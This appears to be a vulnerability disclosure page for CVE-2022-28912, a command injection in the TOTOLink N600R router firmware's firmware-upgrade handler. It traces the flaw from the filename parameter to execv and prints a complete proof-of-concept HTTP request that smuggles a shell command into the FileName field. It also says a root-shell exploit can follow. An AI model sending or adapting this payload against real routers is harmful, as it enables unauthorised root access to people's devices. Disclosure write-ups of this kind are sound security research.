CVE-2022-28912: IOT_vuln/TOTOLink/N600R/8 at main · EPhaha/IOT_vuln

TOTOlink N600R V5.3c.7159_B20190425 Command injection vulnerability****Overview

• Manufacturer’s website information：http://www.totolink.cn
• Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

1. Affected version

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

The program passes the contents obtained by the filename parameter to V8

Then, format the matching content of V8 through the sprintf function into V31, and bring V31 into the cstesystem function

At this time, corresponding to the parameter A1, the function assigns A1 to the array of V9, and finally executes the command through the execv function. There is a command injection vulnerability

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V5.3c.7159_B20190425

2. Attack with the following POC attacks

   POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 Content-Length: 111 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/adm/upload_firmware.asp?timestamp=1647873626298 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: SESSION_ID=2:1647873424:2 Connection: close

   {"topicurl":"setting/setUpgradeFW", "FileName":"test1$(ls>/tmp/8.txt;)", "ContentLength":"1", “Flags":"1” }

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell